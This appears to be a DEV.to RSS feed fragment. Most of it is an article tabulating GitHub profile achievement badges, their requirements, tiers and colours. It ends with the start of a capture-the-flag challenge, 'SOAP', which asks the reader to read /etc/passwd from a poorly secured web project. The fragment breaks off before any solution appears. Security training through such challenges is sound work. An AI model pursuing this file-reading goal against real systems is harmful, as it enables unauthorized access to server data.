&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JbIi4pSl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/heart-on-your-sleeve-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;🔜 Beta Mode&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;User cans obtain this badge by reacting to something on GitHub with a ❤️ emoji&lt;/td&gt;
&lt;td&gt;Very Easy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Open Sourcerer&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--v93Uo0nz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/open-sourcerer-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;🔜 Beta Mode&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Can be obtained if a user had Pull Requests merged in more than 1 public repository&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h1&gt;
  
  
  Earnable badges
&lt;/h1&gt;

&lt;p&gt;The following are earnable badge that you can get if you do what is required.&lt;/p&gt;

&lt;h1&gt;
  
  
  Easy category
&lt;/h1&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Badge Image&lt;/th&gt;
&lt;th&gt;Earnable?&lt;/th&gt;
&lt;th&gt;Earned By&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Quickdraw&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_0046A7z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/quickdraw-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;✅ Yes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Obtainable by closing a Pull Request or Issue in 5 mins of it being opened. (You can close your own issues)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Public Sponsor&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--VPBTfF6h--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/public-sponsor-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;✅ Yes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This badge can be earned by sponsoring a repository/organization/user.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h1&gt;
  
  
  Medium
&lt;/h1&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Badge Image&lt;/th&gt;
&lt;th&gt;Earnable?&lt;/th&gt;
&lt;th&gt;Earned By&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pull Shark&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BNwxf2Pd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/pull-shark-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;✅ Yes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;You can get this badge by merging 2 pull requests.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;YOLO&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ds5B7gP1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/yolo-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;✅ Yes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A user can obtain this badge by merging a pull request without a review (This requires 1 user and 1 reviewer)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Galaxy Brain&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--raeCpnTG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/galaxy-brain-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;✅ Yes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A user can get this badge by getting 2 of their answers accepted on the &lt;a href="https://github.com/orgs/community/discussions/"&gt;Community Discussions&lt;/a&gt; forum.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h1&gt;
  
  
  Hard
&lt;/h1&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Badge Image&lt;/th&gt;
&lt;th&gt;Earnable?&lt;/th&gt;
&lt;th&gt;Earned By&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pair Extraordinaire&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9p7oeB8H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/pair-extraordinaire-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;✅ Yes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The user can obtain this badge by &lt;a href="https://docs.github.com/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors"&gt;Coauthoring&lt;/a&gt; in a merged pull request. (Requires GitHub Desktop App)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Starstruck&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tZ-VXEsQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/starstruck-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;✅ Yes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This badge is given to someone when one of their repository's gets 16 stars.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h1&gt;
  
  
  Levels or Tiers
&lt;/h1&gt;

&lt;p&gt;Some Achievements not only have the base version, but also tiers. The following are the only badges that have tiers right now:&lt;/p&gt;


&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;  &lt;thead&gt;  &lt;tr&gt;  &lt;th&gt;DEFAULT&lt;/th&gt; &lt;th&gt;BRONZE&lt;/th&gt;  &lt;th&gt;SILVER&lt;/th&gt;  &lt;th&gt;GOLD&lt;/th&gt;  &lt;/tr&gt;  &lt;/thead&gt;  &lt;tbody&gt;  &lt;tr&gt; &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--OOwA96GW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Star-Struck/PNG/Skin-Tones/StarStruck_SkinTone1.png" width="296" height="296"&gt;&lt;/td&gt;   &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NzZ38FhL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Star-Struck/PNG/StarStruck_Bronze.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mnmFTP8J--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Star-Struck/PNG/StarStruck_Silver.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1By-usrC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Star-Struck/PNG/StarStruck_Gold.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;  &lt;td&gt;Created a repository that has 16 stars&lt;/td&gt;  &lt;td&gt;Created a repository that has 128 stars&lt;/td&gt;  &lt;td&gt;Created a repository that has 512 stars&lt;/td&gt;  &lt;td&gt;Created a repository that has 4096 stars&lt;/td&gt;  &lt;/tr&gt;   &lt;/tbody&gt;  &lt;/table&gt;&lt;/div&gt;
&lt;br&gt;&lt;br&gt;
 &lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;  &lt;thead&gt;  &lt;tr&gt;  &lt;th&gt;DEFAULT&lt;/th&gt; &lt;th&gt;BRONZE&lt;/th&gt;  &lt;th&gt;SILVER&lt;/th&gt;  &lt;th&gt;GOLD&lt;/th&gt;  &lt;/tr&gt;  &lt;/thead&gt;  &lt;tbody&gt;  &lt;tr&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vzVPlsO5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Pair-Extraordinaire/PNG/PairExtraordinaire.png" width="296" height="296"&gt;&lt;/td&gt;   &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tMKZG8Ch--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Pair-Extraordinaire/PNG/PairExtraordinaire_Bronze.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;
&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---mNX3oK0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Pair-Extraordinaire/PNG/PairExtraordinaire_Silver.png" width="296" height="296"&gt;&lt;br&gt;
&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--XK0dK-19--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Pair-Extraordinaire/PNG/PairExtraordinaire_Gold.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;  &lt;td&gt;1 merged pull request&lt;/td&gt;  &lt;td&gt;Coauthored in 10 merged pull requests&lt;/td&gt;  &lt;td&gt;Coauthored in 24 merged pull requests&lt;/td&gt;  &lt;td&gt;Coauthored in 48 merged pull requests&lt;/td&gt;  &lt;/tr&gt;   &lt;/tbody&gt;  &lt;/table&gt;&lt;/div&gt;    

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;  &lt;thead&gt;  &lt;tr&gt;  &lt;th&gt;DEFAULT&lt;/th&gt; &lt;th&gt;BRONZE&lt;/th&gt;  &lt;th&gt;SILVER&lt;/th&gt;  &lt;th&gt;GOLD&lt;/th&gt;  &lt;/tr&gt;  &lt;/thead&gt;  &lt;tbody&gt;  &lt;tr&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--M3BcZfvv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Pull-Shark/PNG/PullShark.png" width="296" height="296"&gt;&lt;/td&gt;   &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9S2QHnIv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Pull-Shark/PNG/PullShark_Bronze.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--T5PLd4fx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Pull-Shark/PNG/PullShark_Silver.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--D4IyuaXz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Pull-Shark/PNG/PullShark_Gold.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;  &lt;td&gt;2 pull requests merged&lt;/td&gt;  &lt;td&gt;16 pull requests merged&lt;/td&gt;  &lt;td&gt;128 pull requests merged&lt;/td&gt;  &lt;td&gt;1024 pull requests merged&lt;/td&gt;  &lt;/tr&gt;   &lt;/tbody&gt;  &lt;/table&gt;&lt;/div&gt;     

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;  &lt;thead&gt;  &lt;tr&gt;  &lt;th&gt;DEFAULT&lt;/th&gt; &lt;th&gt;BRONZE&lt;/th&gt;  &lt;th&gt;SILVER&lt;/th&gt;  &lt;th&gt;GOLD&lt;/th&gt;  &lt;/tr&gt;  &lt;/thead&gt;  &lt;tbody&gt;  &lt;tr&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6n3fYTNu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Galaxy-Brain/PNG/GalaxyBrain.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--RWUaBNS8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Galaxy-Brain/PNG/GalaxyBrain_Bronze.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--F2pT0SYK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Galaxy-Brain/PNG/GalaxyBrain_Silver.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TraI2H1X--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/drknzz/GitHub-Achievements/raw/main/Media/Badges/Galaxy-Brain/PNG/GalaxyBrain_Gold.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;  &lt;td&gt;2 accepted answers&lt;/td&gt; &lt;td&gt;8 accepted answers&lt;/td&gt;  &lt;td&gt;16 accepted answers&lt;/td&gt;  &lt;td&gt;32 accepted answers&lt;/td&gt;  &lt;/tr&gt;   &lt;/tbody&gt;  &lt;/table&gt;&lt;/div&gt;
&lt;h1&gt;
  
  
  Colors &amp;amp; Labels
&lt;/h1&gt;

&lt;p&gt;Every tier has either an x2, x3, or x4 label with it that also includes color. Here is the information about each one below:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tier&lt;/th&gt;
&lt;th&gt;Label&lt;/th&gt;
&lt;th&gt;Sample&lt;/th&gt;
&lt;th&gt;Hex&lt;/th&gt;
&lt;th&gt;Visual&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;🥉 Bronze&lt;/td&gt;
&lt;td&gt;&lt;code&gt;x2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--POP3qgp_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/2cc68fe868f104a77b53a353a2931d6e648e06b2/images/custom/tier-label/tier-label-bronze.svg" alt="x2" width="30" height="20"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#F9BFA7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QWd4i4Ce--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://img.shields.io/badge/-%25F0%259F%258E%25A8%25EF%25B8%258E%2520%2523F9BFA7-yellow%3Fstyle%3Dflat-square%26color%3DF9BFA7" alt="#F9BFA7" width="85" height="20"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🥈 Silver&lt;/td&gt;
&lt;td&gt;&lt;code&gt;x3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Ciqk1g32--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/2cc68fe868f104a77b53a353a2931d6e648e06b2/images/custom/tier-label/tier-label-silver.svg" alt="x3" width="30" height="20"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#E1E4E4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GP-mxu7A--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://img.shields.io/badge/-%25F0%259F%258E%25A8%25EF%25B8%258E%2520%2523E1E4E4-yellow%3Fstyle%3Dflat-square%26color%3DE1E4E4" alt="#E1E4E4" width="87" height="20"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🥇 Gold&lt;/td&gt;
&lt;td&gt;&lt;code&gt;x4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--FGAdjHcX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/2cc68fe868f104a77b53a353a2931d6e648e06b2/images/custom/tier-label/tier-label-gold.svg" alt="x4" width="30" height="20"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#FAE57E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NBuoJUCA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://img.shields.io/badge/-%25F0%259F%258E%25A8%25EF%25B8%258E%2520%2523FAE57E-yellow%3Fstyle%3Dflat-square%26color%3DFAE57E" alt="#FAE57E" width="87" height="20"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h1&gt;
  
  
  Achievement Skin Tone
&lt;/h1&gt;

&lt;p&gt;Some of the achievements on GitHub appear with a different skin color depending on your Emoji Skin Tone Preference.&lt;/p&gt;

&lt;p&gt;You can change your preferred Skin Tone by going to the &lt;a href="https://github.com/settings/appearance"&gt;appearance settings&lt;/a&gt;.&lt;/p&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Badge&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Skin Tone Versions&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--OOwA96GW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Star-Struck/PNG/Skin-Tones/StarStruck_SkinTone1.png" alt="Starstruck" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;Starstruck&lt;/td&gt;
&lt;td&gt;&lt;table&gt;  &lt;tbody&gt;  &lt;tr&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--OOwA96GW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Star-Struck/PNG/Skin-Tones/StarStruck_SkinTone1.png" width="296" height="296"&gt;&lt;/td&gt;   &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hVj54Xox--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Star-Struck/PNG/Skin-Tones/StarStruck_SkinTone2.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bJi8UbyU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Star-Struck/PNG/Skin-Tones/StarStruck_SkinTone3.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---w9Ow8CC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Star-Struck/PNG/Skin-Tones/StarStruck_SkinTone4.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--96cqJhHS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Star-Struck/PNG/Skin-Tones/StarStruck_SkinTone5.png" width="296" height="296"&gt;&lt;/td&gt;   &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WN2vcx1A--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Star-Struck/PNG/Skin-Tones/StarStruck_SkinTone6.png" width="296" height="296"&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;  &lt;td&gt;👋&lt;/td&gt; &lt;td&gt;👋🏻&lt;/td&gt;  &lt;td&gt;👋🏼&lt;/td&gt;  &lt;td&gt;👋🏽&lt;/td&gt;  &lt;td&gt;👋🏾&lt;/td&gt;  &lt;td&gt;👋🏿&lt;/td&gt;  &lt;/tr&gt;  &lt;/tbody&gt;  &lt;/table&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hUTAVNau--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Quick-Draw/PNG/Skin-Tones/QuickDraw_SkinTone1.png" alt="Quickdraw" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;Quickdraw&lt;/td&gt;
&lt;td&gt;&lt;table&gt;
&lt;tbody&gt;  &lt;tr&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hUTAVNau--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Quick-Draw/PNG/Skin-Tones/QuickDraw_SkinTone1.png" width="296" height="296"&gt;&lt;/td&gt;   &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3t7uyDmr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Quick-Draw/PNG/Skin-Tones/QuickDraw_SkinTone2.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BffzaRtb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Quick-Draw/PNG/Skin-Tones/QuickDraw_SkinTone3.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--OmSoXpHY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Quick-Draw/PNG/Skin-Tones/QuickDraw_SkinTone4.png" width="296" height="296"&gt;&lt;/td&gt;  &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--KBOXdtd3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Quick-Draw/PNG/Skin-Tones/QuickDraw_SkinTone5.png" width="296" height="296"&gt;&lt;/td&gt;   &lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--J9y_Rjr6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/drknzz/GitHub-Achievements/main/Media/Badges/Quick-Draw/PNG/Skin-Tones/QuickDraw_SkinTone6.png" width="296" height="296"&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;  &lt;td&gt;👋&lt;/td&gt; &lt;td&gt;👋🏻&lt;/td&gt;  &lt;td&gt;👋🏼&lt;/td&gt;  &lt;td&gt;👋🏽&lt;/td&gt;  &lt;td&gt;👋🏾&lt;/td&gt;  &lt;td&gt;👋🏿&lt;/td&gt;  &lt;/tr&gt;  &lt;/tbody&gt;  &lt;/table&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h1&gt;
  
  
  Previous Names
&lt;/h1&gt;

&lt;p&gt;Only 2 achievements have had their name altered in all of GitHub's History. These 2 achievements are the Public Sponsor and Mars 2020 Contributor as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;- GitHub Sponsor
&lt;/span&gt;&lt;span class="gi"&gt;+ Public Sponsor
&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;span class="gd"&gt;- Mars 2020 Helicopter Contributor
&lt;/span&gt;&lt;span class="gi"&gt;+ Mars 2020 Contributor
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Resources
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=oJWFfp3sGYA&amp;amp;t=9s"&gt;Incredible video by thinkright20&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Schweinepriester/github-profile-achievements"&gt;Github of schweinerpriester&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Credits
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Massive credit goes to &lt;a class="mentioned-user" href="https://dev.to/schweinepriester"&gt;@schweinepriester&lt;/a&gt; and @Thinkright20 for the high-quality images for each badge, labels, information for each badge, and the inspiration to make this article.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Follow me on GitHub &lt;a href="https://github.com/brunoblaise"&gt;@brunoblaise&lt;/a&gt; &lt;br&gt;
 ❤&lt;/p&gt;

</description>
      <category>github</category>
      <category>badge</category>
      <category>achievements</category>
      <category>all</category>
    </item>
    <item>
      <title>SOAP</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sat, 01 Apr 2023 14:41:14 +0000</pubDate>
      <link>https://dev.to/brunoblaise/soap-3bpp</link>
      <guid>https://dev.to/brunoblaise/soap-3bpp</guid>
      <description>&lt;h1&gt;
  
  
  SOAP
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;100 points&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AUTHOR: GEOFFREY NJOGU&lt;/p&gt;

&lt;p&gt;Description&lt;br&gt;
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?&lt;br&gt;
